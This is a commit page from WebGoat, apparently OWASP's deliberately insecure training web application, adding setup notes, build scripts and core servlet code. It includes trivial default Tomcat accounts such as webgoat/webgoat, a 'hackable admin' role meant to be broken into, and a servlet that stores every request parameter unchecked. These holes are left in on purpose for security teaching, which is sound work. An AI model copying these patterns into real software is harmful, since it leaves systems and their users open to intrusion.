dubey/WebGoat
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Miscellaneous bug fixes

Browse Source 
divide by zero, inaccurate discount and totals, reflection of user input


git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@273 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
rogan.dawes 2008-01-14 14:02:11 +00:00
commit b0b94c4688
917 changed files with 73689 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
main/Eclipse-Workspace.zip Normal file
View File

Binary file not shown.

196
main/HOW TO create the WebGoat workspace.txt Normal file
View File

@ -0,0 +1,196 @@
***************************************
As of 5.1 the developer release contains the eclipse workspace
and project files.
Extract distribution to c:\
- It will create a WebGoat-x.x directory
Extract Eclipse-Workspace.zip to C:\WebGoat-x.x
Start eclipse using eclipse.bat
After eclipse starts
Top left - Project Explorer view
right click WebGoat – refresh
right click Servers – refresh
Bottom - Servers view
right click Tomcat… - start
Browse to http://localhost/WebGoat/attack
You're done. Changing files in eclipse will automatically rebuild
and redeploy the application.
Follow the instructions below to build the workspace from scratch
***************************************
***************************************
Eclipse startup and dependency removal
WebGoat uses Eclipse WTP 1.5
***************************************
Change paths in eclipse.bat to reflect your environment
edit <webgoat-root>/eclipse.bat
Change JAVAHOME to directory where java is installed.
ex: This may be .\java or "C:\Program Files\Java\jdk1.5.0_08"
Change ECLIPSE_HOME to directory where eclipse is installed
ex: This may be .\eclipse or "C:\Program Files\eclipse"
Note: WebGoat requires eclipse with WTP project
Run eclipse using the eclipse.bat file
located at <webgoat-root>/eclipse.bat
Remove eclipse dependencies
Delete all files and directories beginning
with a period. ex) .settings, .project, etc...
Note: These files probably do not exist unless you have
previously tried to build a WebGoat eclipse project
Eclipse will start up in the default state
Click arrow at top right to load the eclipse workbench
***************************************
Verify tomcat directory is read/write access
***************************************
You may have to install Tomcat and merge the webgoat users into
the tomcat-users.xml file
File: <tomcat-root>/conf/tomcat-users.xml
<tomcat-users>
<role rolename="webgoat_admin"/>
<role rolename="webgoat_basic"/>
<role rolename="webgoat_user"/>
<user username="webgoat" password="webgoat" roles="webgoat_admin"/>
<user username="basic" password="basic" roles="webgoat_user,webgoat_basic"/>
<user username="guest" password="guest" roles="webgoat_user"/>
</tomcat-users>
***************************************
Initial Setup of Development Enviroment
***************************************
Step 1) Add the WebGoat JDK
window->preferences->
java->installed JREs
add
Name: WebGoat JDK 1.5
Directory: java
OK
select new JDK as default
remove previous JDK if exists
OK
window->preferences
server->Installed Runtime
ADD
apache
tomcat v5.5
NEXT
directory: use browse button to locate <webgoat-root>/tomcat (e.g. C:\P4\BUILD\depot\WebGoat\J2EE\main\tomcat)
JRE: WebGoat JDK 1.5
FINISH
select apache tomcat v5.5 as default
OK
window->open perspective
other
J2EE
in Project Explorer
right click->New->New Dynamic Web Project
Name: WebGoat
Deselect "use default"
Browse to <webgoat-root>/project (e.g. C:\P4\BUILD\depot\WebGoat\J2EE\main\project)
NEXT
NEXT
change Java Source Directory: JavaSource
FINISH
Click "I Agree" if dialog appears (will appear after build completes)
From "Servers" View - Should be in bottom view
right click->New->Server (Tomcat 5.5 should be default selected)
NEXT
select WebGoat
ADD
FINISH
From a Windows file explorer window
Copy the <tomcat_root>.keystore to eclipse workspace directory
<WebGoat_Root>\J2EE\main\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\.keystore
From Servers view
double click Tomcat v 5.5 Server @ locahost
in "Server Overview" window
Uncheck "Run modules directly from the workspace"
SAVE (ctrl-s)
NOTE: In developer mode you may want to leave this checked
Right click on Tomcat v5.5 Sever@localhost ->Start
Browse to http://localhost/WebGoat/attack
***************************************
Deploying to Tomcat
***************************************
From Servers view
double click Tomcat v 5.5 Server @ locahost
in "Server Overview" window
Uncheck "Run modules directly from the workspace"
SAVE (ctrl-s)
From Servers view
right click->Publish
Using file system
copy JavaSource directory into <tomcat-root>/webapps/WebGoat/
***************************************
Configuring Webgoat.properties for
your environment.
i.e. How to manage the menus
***************************************
Edit <webgoat-root>/project/WebContent/WEB-INF/webgoat.properties
- Turn off/on the desired lessons

282
main/build.xml Normal file
View File

@ -0,0 +1,282 @@
<!-- A "project" describes a set of targets that may be requested
when Ant is executed. The "default" attribute defines the
target which is executed if no specific target is requested,
and the "basedir" attribute defines the current working directory
from which Ant executes the requested task. This is normally
set to the current working directory.
-->
<project name="WebGoat" default="Build_ALL_OWASP_Releases" basedir=".">
<!-- ===================== Property Definitions =========================== -->
<!--
Each of the following properties are used in the build script.
Values for these properties are set by the first place they are
defined, from the following list:
* Definitions on the "ant" command line (ant -Dfoo=bar compile).
* Definitions from a "build.properties" file in the top level
source directory of this application.
* Definitions from a "build.properties" file in the developer's
home directory.
* Default definitions in this build.xml file.
You will note below that property values can be composed based on the
contents of previously defined properties. This is a powerful technique
that helps you minimize the number of changes required when your development
environment is modified. Note that property composition is allowed within
"build.properties" files as well as in the "build.xml" script.
-->
<property file="build.properties"/>
<property file="${user.home}/build.properties"/>
<!-- ==================== File and Directory Names ======================== -->
<!--
These properties generally define file and directory names (or paths) that
affect where the build process stores its outputs.
build.home The directory into which the "prepare" and
"compile" targets will generate their output.
Defaults to "build".
catalina.home The directory in which you have installed
a binary distribution of Tomcat 4. This will
be used by the "deploy" target.
dist.home The name of the base directory in which
distribution files are created.
Defaults to "dist".
install.home The absolute path of the directory into which
the installer will copy its files. The Eclipse
project is bound to this path.
-->
<property name="app.home" value="${basedir}/project"/>
<property name="app.name" value="WebGoat"/> <!-- MUST BE CONSISTENT WITH project/build.xml! -->
<property name="app.version" value="5.1"/> <!-- MUST BE CONSISTENT WITH project/build.xml! -->
<property name="catalina.home" value="${basedir}/tomcat"/>
<property name="dist.home" value="${app.home}/dist"/>
<property name="dist.owasp" value="${app.home}/owasp_distributions"/>
<property name="install.home" value="WebGoat-${app.version}"/>
<!-- ==================== Clean Target ==================================== -->
<!--
The "clean" target deletes any previous "build" and "dist" directory,
so that you can be ensured the application can be built from scratch.
-->
<target name="clean"
description="Delete old build and dist directories">
<delete file="${web_inf.home}/web.xml"/>
<delete dir="${dist.home}"/>
<delete dir="${catalina.home}/logs"/>
<delete dir="${catalina.home}/work/Catalina/localhost"/>
<delete dir="${catalina.home}/webapps/${app.name}"/>
<delete file="${catalina.home}/webapps/${app.name}.war"/>
<delete dir="${catalina.home}/server/webapps/${app.name}"/>
<mkdir dir="${dist.home}"/>
<mkdir dir="${catalina.home}/logs"/>
</target>
<target name="clean_all"
description="Delete old build, dist directories and zips">
<delete dir="${dist.home}"/>
<delete dir="${dist.owasp}"/>
<mkdir dir="${dist.home}"/>
<mkdir dir="${dist.owasp}"/>
</target>
<!-- ==================== Compile Target ===================================== -->
<target name="compile" depends="Compile-WebGoat"
description="Build all dependency applications">
</target>
<target name="Compile-WebGoat"
description="Build the WebGoat application">
<ant dir="${app.home}" target="BuildWar" inheritAll="false"/>
</target>
<!--
<target name="DELETE_ME_Compile-WebGoat-Unix"
description="Build the WebGoat application">
<ant dir="${app.home}" target="BuildUnixWar" inheritAll="false"/>
</target>
-->
<target name="Compile-WebGoat-LAB"
description="Build the WebGoat application">
<ant dir="${app.home}" inheritAll="false">
<target name="-WebGoatPropertiesLAB"/>
<target name="BuildWar"/>
</ant>
</target>
<target name="Compile-WebGoat-Class"
description="Build the WebGoat application">
<ant dir="${app.home}" inheritAll="false">
<target name="-WebGoatPropertiesClass"/>
<target name="BuildWar"/>
</ant>
</target>
<target name="Compile-WebGoat-OWASP"
description="Build the WebGoat application">
<ant dir="${app.home}" inheritAll="false">
<target name="-WebGoatPropertiesOWASP"/>
<target name="BuildWar"/>
</ant>
</target>
<!-- ==================== Dist Target ===================================== -->
<!--
The "dist" target creates a binary distribution of your application
in a directory structure ready to be archived in a tar.gz or zip file.
Note that this target depends on two others:
* "compile" so that the entire web application (including external
dependencies) will have been assembled
-->
<target name="ZipProject"
description="Create a zip archive of all Eclipse project files from C:\WebGoatClassCD">
<!-- Put a copy of the keystore into the WTP dynamic deployment area -->
<copy file="/WebGoatClassCD/tomcat/.keystore" tofile="/WebGoatClassCD/workspace/.metadata/.plugins/org.eclipse.wst.server.core/tmp0/.keystore"/>
<zip destfile="${basedir}/project-student.zip"
basedir="/WebGoatClassCD"
includes="project/.project, project/.classpath, project/.settings/**, workspace/**"/>
</target>
<target name="DeployWar"
description="Copy existing war to Tomcat - Does not rebuild">
<!-- Install war to Tomcat -->
<delete dir="${catalina.home}/webapps/${app.name}"/>
<delete file="${catalina.home}/webapps/${app.name}.war"/>
<copy file="${app.home}/dist/${app.name}-${app.version}.war" tofile="${catalina.home}/webapps/${app.name}.war"/>
</target>
<!--Build patch release -->
<target name="BuildPatch_release" depends="clean, compile"
description="Creates patch release of class files for WebGoat">
<zip destfile="${dist.home}/${app.name}-${app.version}_patch.zip">
<zipfileset dir="build/WEB-INF/classes" prefix="WEB-INF/classes"/>
<zipfileset dir="." includes="readme_patch.txt"/>
</zip>
</target>
<!-- Build J2EE Lab Environment release -->
<target name="Build_DeveloperLab_Release" depends="clean"
description="Builds J2EE Developer Course release">
<!-- Build the WebGoat WAR with the desired properties file -->
<ant dir="${app.home}" inheritAll="false">
<target name="WebGoatPropertiesOWASP"/>
<target name="BuildWar"/>
</ant>
<antcall target="DeployWar"> </antcall>
<!-- Build the CD image -->
<zip destfile="${dist.home}/${ant.project.name}-DeveloperLab-${app.version}.zip">
<zipfileset dir="." prefix="${install.home}"
includes="eclipse/, java/, project/, FirefoxPortable/, Paros/, tomcat/, webscarab/,
Read*.txt, HOW*.txt, eclipse.bat, webgoat.bat, webgoat_8080.bat, webscarab.bat,
Eclipse-Workspace.zip"
excludes="project/.*, project/.settings/**, project/dist/**, project/owasp_distributions/**, project/bin/**, project/build/**"/>
</zip>
</target>
<target name="Build_Class_Release" depends="clean"
description="Builds WebGoat Course release">
<!-- Build the WebGoat WAR with the desired properties file -->
<ant dir="${app.home}" inheritAll="false">
<target name="WebGoatPropertiesOWASP"/>
<target name="BuildWar"/>
</ant>
<antcall target="DeployWar"> </antcall>
<!-- Build the CD image -->
<zip destfile="${dist.home}/${ant.project.name}-Class-${app.version}.zip">
<zipfileset dir="." prefix="${install.home}"
includes="java/, tomcat/, FirefoxPortable/, Paros/, webscarab/, webgoat.bat, webgoat_8080.bat, webscarab.bat"
excludes="project/.*, project/.settings/**, project/dist/**, project/owasp_distributions/**, project/bin/**, project/build/**"/>
</zip>
</target>
<!-- Build OWASP Developer Lab Environment release -->
<target name="Build_OWASP_DeveloperLab_release" depends="clean"
description="Builds OWASP Developer release">
<!-- Build the WebGoat WAR with the desired properties file -->
<ant dir="${app.home}" inheritAll="false">
<target name="WebGoatPropertiesOWASP"/>
<target name="BuildWar"/>
</ant>
<antcall target="DeployWar"> </antcall>
<!-- Build the CD image -->
<zip destfile="${dist.home}/${ant.project.name}-OWASP_Developer-${app.version}.zip">
<zipfileset dir="." prefix="${install.home}"
includes="eclipse/, java/, project/, tomcat/,
read*.txt, HOW*.txt, eclipse.bat, webgoat.bat, webgoat_8080.bat,
Eclipse-Workspace.zip"
excludes="project/.*, project/.settings/**, project/dist/**, project/owasp_distributions/**, project/bin/**, project/build/**"/>
</zip>
</target>
<target name="Build_OWASP_Standard_Release" depends="clean"
description="Builds WebGoat OWASP release">
<!-- Build the WebGoat WAR with the desired properties file -->
<ant dir="${app.home}" inheritAll="false">
<target name="WebGoatPropertiesOWASP"/>
<target name="BuildWar"/>
</ant>
<antcall target="DeployWar"> </antcall>
<!-- Build the CD image -->
<zip destfile="${dist.home}/${ant.project.name}-OWASP_Standard-${app.version}.zip">
<zipfileset dir="." prefix="${install.home}"
includes="java/, tomcat/, read*.txt, webgoat.bat, webgoat_8080.bat"
excludes="project/.*, project/.settings/**, project/dist/**, project/owasp_distributions/**, project/bin/**, project/build/**"/>
</zip>
</target>
<!--Build all OWASP release -->
<target name="Build_ALL_OWASP_Releases" depends="clean_all"
description="Creates all binary distributions for OWASP">
<copy file="${basedir}/readme.txt" tofile="${dist.owasp}/readme.txt"/>
<antcall target="Build_OWASP_Standard_Release"> </antcall>
<copydir dest="${dist.owasp}" src="${dist.home}"/>
<antcall target="Build_OWASP_DeveloperLab_release"> </antcall>
<copydir dest="${dist.owasp}" src="${dist.home}"/>
</target>
<!-- ==================== Prepare Target ================================== -->
<!--
The "prepare" target is used to create the "build" destination directory,
and copy the static contents of your web application to it. If you need
to copy static files from external dependencies, you can customize the
contents of this task.
Normally, this task is executed indirectly when needed.
-->
<target name="prepare">
</target>
</project>

28
main/eclipse.bat Normal file
View File

@ -0,0 +1,28 @@
ECHO OFF
IF NOT EXIST workspace GOTO UNPACK
set JAVAHOME=java
set PATH=%JAVAHOME%\bin;%PATH%
set ECLIPSE_HOME=eclipse
SET JAVA_OPTS=%JAVA_OPTS% -Xms128m -Xmx768m
%ECLIPSE_HOME%\eclipse.exe -data .\workspace
GOTO END
:UNPACK
ECHO *
ECHO *
ECHO *
ECHO *
ECHO * ERROR -- eclipse workspace is missing
ECHO *
ECHO *
ECHO *
ECHO *
ECHO * Use winzip to unzip Eclipse-Workspace.zip
ECHO *
ECHO *
ECHO *
PAUSE
:END

121
main/project/JavaSource/org/owasp/webgoat/Catcher.java Normal file
View File

@ -0,0 +1,121 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.util.Enumeration;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created March 13, 2007
*/
public class Catcher extends HammerHead
{
/**
*
*/
private static final long serialVersionUID = 7441856110845727651L;
/**
* Description of the Field
*/
public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
public static final String PROPERTY = "PROPERTY";
public static final String EMPTY_STRING = "";
/**
* Description of the Method
*
* @param request Description of the Parameter
* @param response Description of the Parameter
* @exception IOException Description of the Exception
* @exception ServletException Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
try
{
//System.out.println( "Entering doPost: " );
//System.out.println( " - request " + request);
//System.out.println( " - principle: " + request.getUserPrincipal() );
//setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true)
.getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this call.
int scr = session.getCurrentScreen();
Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr,
AbstractLesson.USER_ROLE);
log(request, lesson.getClass().getName() + " | "
+ session.getParser().toString());
String property = new String(session.getParser().getStringParameter(
PROPERTY, EMPTY_STRING));
// if the PROPERTY parameter is available - write all the parameters to the
// property file. No other control parameters are supported at this time.
if ( !property.equals(EMPTY_STRING))
{
Enumeration e = session.getParser().getParameterNames();
while (e.hasMoreElements())
{
String name = (String) e.nextElement();
String value= session.getParser().getParameterValues(name)[0];
lesson.getLessonTracker(session).getLessonProperties().setProperty(
name, value);
}
}
lesson.getLessonTracker(session).store(session, lesson);
}
catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
}
}
}

510
main/project/JavaSource/org/owasp/webgoat/HammerHead.java Normal file
View File

@ -0,0 +1,510 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.io.PrintWriter;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.TimeZone;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.WelcomeScreen;
import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.ErrorScreen;
import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class HammerHead extends HttpServlet
{
/**
*
*/
private static final long serialVersionUID = 645640331343188020L;
/**
* Description of the Field
*/
protected static SimpleDateFormat httpDateFormat;
/**
* Set the session timeout to be 2 days
*/
private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2;
// private final static int sessionTimeoutSeconds = 1;
/**
* Properties file path
*/
public static String propertiesPath = null;
/**
* provides convenience methods for getting setup information
* from the ServletContext
*/
private WebgoatContext webgoatContext = null;
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
doPost(request, response);
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
Screen screen = null;
WebSession mySession = null;
try
{
// System.out.println( "HH Entering doPost: " );
// System.out.println( " - HH request " + request);
// System.out.println( " - HH principle: " +
// request.getUserPrincipal() );
// setCacheHeaders(response, 0);
ServletContext context = getServletContext();
// FIXME: If a response is written by updateSession(), do not
// call makeScreen() and writeScreen()
mySession = updateSession(request, response, context);
if (response.isCommitted())
return;
// Note: For the lesson to track the status, we need to update
// the lesson tracker object
// from the screen.createContent() method. The create content is
// the only point
// where the lesson "knows" what has happened. To track it at a
// latter point would
// require the lesson to have memory.
screen = makeScreen(mySession); // This calls the lesson's
// handleRequest()
if (response.isCommitted())
return;
// perform lesson-specific tracking activities
if (screen instanceof AbstractLesson) {
AbstractLesson lesson = (AbstractLesson) screen;
// we do not count the initial display of the lesson screen as a visit
if ("GET".equals(request.getMethod())) {
String uri = request.getRequestURI() + "?" + request.getQueryString();
if (! uri.endsWith(lesson.getLink()))
screen.getLessonTracker(mySession).incrementNumVisits();
} else if ("POST".equals(request.getMethod()) && mySession.getPreviousScreen() == mySession.getCurrentScreen()) {
screen.getLessonTracker(mySession).incrementNumVisits();
}
}
// log the access to this screen for this user
UserTracker userTracker = UserTracker.instance();
userTracker.update(mySession, screen);
log(request, screen.getClass().getName() + " | "
+ mySession.getParser().toString());
// Redirect the request to our View servlet
String userAgent = request.getHeader("user-agent");
String clientBrowser = "Not known!";
if (userAgent != null)
{
clientBrowser = userAgent;
}
request.setAttribute("client.browser", clientBrowser);
request.getSession().setAttribute("websession", mySession);
request.getSession().setAttribute("course", mySession.getCourse());
request.getRequestDispatcher(getViewPage(mySession)).forward(
request, response);
}
catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
screen = new ErrorScreen(mySession, t);
}
finally
{
try
{
this.writeScreen(mySession, screen, response);
}
catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: "
+ thr.getMessage());
}
WebSession.returnConnection(mySession);
// System.out.println( "HH Leaving doPost: " );
}
}
private String getViewPage(WebSession webSession)
{
String page;
// If this session has not seen the landing page yet, go there instead.
HttpSession session = webSession.getRequest().getSession();
if (session.getAttribute("welcomed") == null)
{
session.setAttribute("welcomed", "true");
page = "/webgoat.jsp";
}
else
page = "/main.jsp";
return page;
}
/**
* Description of the Method
*
* @param date
* Description of the Parameter
* @return RFC 1123 http date format
*/
protected static String formatHttpDate(Date date)
{
synchronized (httpDateFormat)
{
return httpDateFormat.format(date);
}
}
/**
* Return information about this servlet
*
* @return The servletInfo value
*/
public String getServletInfo()
{
return "WebGoat is sponsored by Aspect Security.";
}
/**
* Return properties path
*
* @return servlet context path + WEB_INF
*/
public void init() throws ServletException
{
httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z",
Locale.US);
httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
propertiesPath = getServletContext().getRealPath(
"./WEB-INF/webgoat.properties");
webgoatContext = new WebgoatContext(this);
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param message
* Description of the Parameter
*/
public void log(HttpServletRequest request, String message)
{
String output = new Date() + " | " + request.getRemoteHost() + ":"
+ request.getRemoteAddr() + " | " + message;
log(output);
System.out.println(output);
}
/*
* public List getLessons(Category category, String role) { Course
* course = mySession.getCourse(); // May need to clone the List before
* returning it. //return new ArrayList(course.getLessons(category,
* role)); return course.getLessons(category, role); }
*/
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Screen makeScreen(WebSession s)
{
Screen screen = null;
int scr = s.getCurrentScreen();
Course course = s.getCourse();
if (s.isUser() || s.isChallenge())
{
if (scr == WebSession.WELCOME)
{
screen = new WelcomeScreen(s);
}
else
{
AbstractLesson lesson = course.getLesson(s, scr,
AbstractLesson.USER_ROLE);
if (lesson == null && s.isHackedAdmin())
{
// If admin was hacked, let the user see some of the
// admin screens
lesson = course.getLesson(s, scr,
AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson != null)
{
screen = lesson;
// We need to do some bookkeeping for the hackable admin
// interface.
// This is the only place we can tell if the user
// successfully hacked the hackable
// admin and has actually accessed an admin screen. You
// need BOTH pieces of information
// in order to satisfy the remote admin lesson.
s.setHasHackableAdmin(screen.getRole());
lesson.handleRequest(s);
s.setCurrentMenu(lesson.getCategory().getRanking());
}
else
{
screen = new ErrorScreen(s,
"Invalid screen requested. Try: http://localhost/WebGoat/attack");
}
}
}
else if (s.isAdmin())
{
if (scr == WebSession.WELCOME)
{
screen = new WelcomeAdminScreen(s);
}
else
{
// Admin can see all roles.
// FIXME: should be able to pass a list of roles.
AbstractLesson lesson = course.getLesson(s, scr,
AbstractLesson.ADMIN_ROLE);
if (lesson == null)
{
lesson = course.getLesson(s, scr,
AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson == null)
{
lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
}
if (lesson != null)
{
screen = lesson;
// We need to do some bookkeeping for the hackable admin
// interface.
// This is the only place we can tell if the user
// successfully hacked the hackable
// admin and has actually accessed an admin screen. You
// need BOTH pieces of information
// in order to satisfy the remote admin lesson.
s.setHasHackableAdmin(screen.getRole());
lesson.handleRequest(s);
s.setCurrentMenu(lesson.getCategory().getRanking());
}
else
{
screen = new ErrorScreen(
s,
"Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
}
}
}
return (screen);
}
/**
* This method sets the required expiration headers in the response for
* a given RunData object. This method attempts to set all relevant
* headers, both for HTTP 1.0 and HTTP 1.1.
*
* @param response
* The new cacheHeaders value
* @param expiry
* The new cacheHeaders value
*/
protected static void setCacheHeaders(HttpServletResponse response,
int expiry)
{
if (expiry == 0)
{
response.setHeader("Pragma", "no-cache");
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Expires", formatHttpDate(new Date()));
}
else
{
Date expiryDate = new Date(System.currentTimeMillis() + expiry);
response.setHeader("Expires", formatHttpDate(expiryDate));
}
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @param context
* Description of the Parameter
* @return Description of the Return Value
*/
protected WebSession updateSession(HttpServletRequest request,
HttpServletResponse response, ServletContext context)
throws IOException
{
HttpSession hs;
hs = request.getSession(true);
// System.out.println( "HH Entering Session_id: " + hs.getId() );
// dumpSession( hs );
// Get our session object out of the HTTP session
WebSession session = null;
Object o = hs.getAttribute(WebSession.SESSION);
if ((o != null) && o instanceof WebSession)
{
session = (WebSession) o;
}
else
{
// Create new custom session and save it in the HTTP session
// System.out.println( "HH Creating new WebSession: " );
session = new WebSession(webgoatContext, context);
hs.setAttribute(WebSession.SESSION, session);
// reset timeout
hs.setMaxInactiveInterval(sessionTimeoutSeconds);
}
session.update(request, response, this.getServletName());
// to authenticate
// System.out.println( "HH Leaving Session_id: " + hs.getId() );
// dumpSession( hs );
return (session);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
*/
protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response)
throws IOException
{
response.setContentType("text/html");
PrintWriter out = response.getWriter();
if (s == null)
{
screen = new ErrorScreen(s, "Page to display was null");
}
// set the content-length of the response.
// Trying to avoid chunked-encoding. (Aspect required)
response.setContentLength(screen.getContentLength());
response.setHeader("Content-Length", screen.getContentLength() + "");
screen.output(out);
out.close();
}
}

214
main/project/JavaSource/org/owasp/webgoat/LessonSource.java Normal file
View File

@ -0,0 +1,214 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class LessonSource extends HammerHead
{
/**
*
*/
private static final long serialVersionUID = 2588430536196446145L;
/**
* Description of the Field
*/
public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
String source = null;
try
{
// System.out.println( "Entering doPost: " );
// System.out.println( " - request " + request);
// System.out.println( " - principle: " + request.getUserPrincipal()
// );
// setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
// FIXME: Too much in this call.
session.update(request, response, this.getServletName());
boolean showSolution = session.getParser().getBooleanParameter("solution", false);
boolean showSource = session.getParser().getBooleanParameter("source", false);
if (showSolution)
{
// Get the Java solution of the lesson.
source = getSolution(session);
int scr = session.getCurrentScreen();
Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSolution(true);
} else if (showSource)
{
// Get the Java source of the lesson. FIXME: Not needed
source = getSource(session);
int scr = session.getCurrentScreen();
Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSource(true);
}
}
catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
}
finally
{
try
{
this.writeSource(source, response);
}
catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: " + thr.getMessage());
}
// System.out.println( "Leaving doPost: " );
}
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected String getSource(WebSession s)
{
String source = null;
int scr = s.getCurrentScreen();
Course course = s.getCourse();
if (s.isUser() || s.isChallenge())
{
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
if (lesson != null)
{
source = lesson.getSource(s);
}
}
if (source == null)
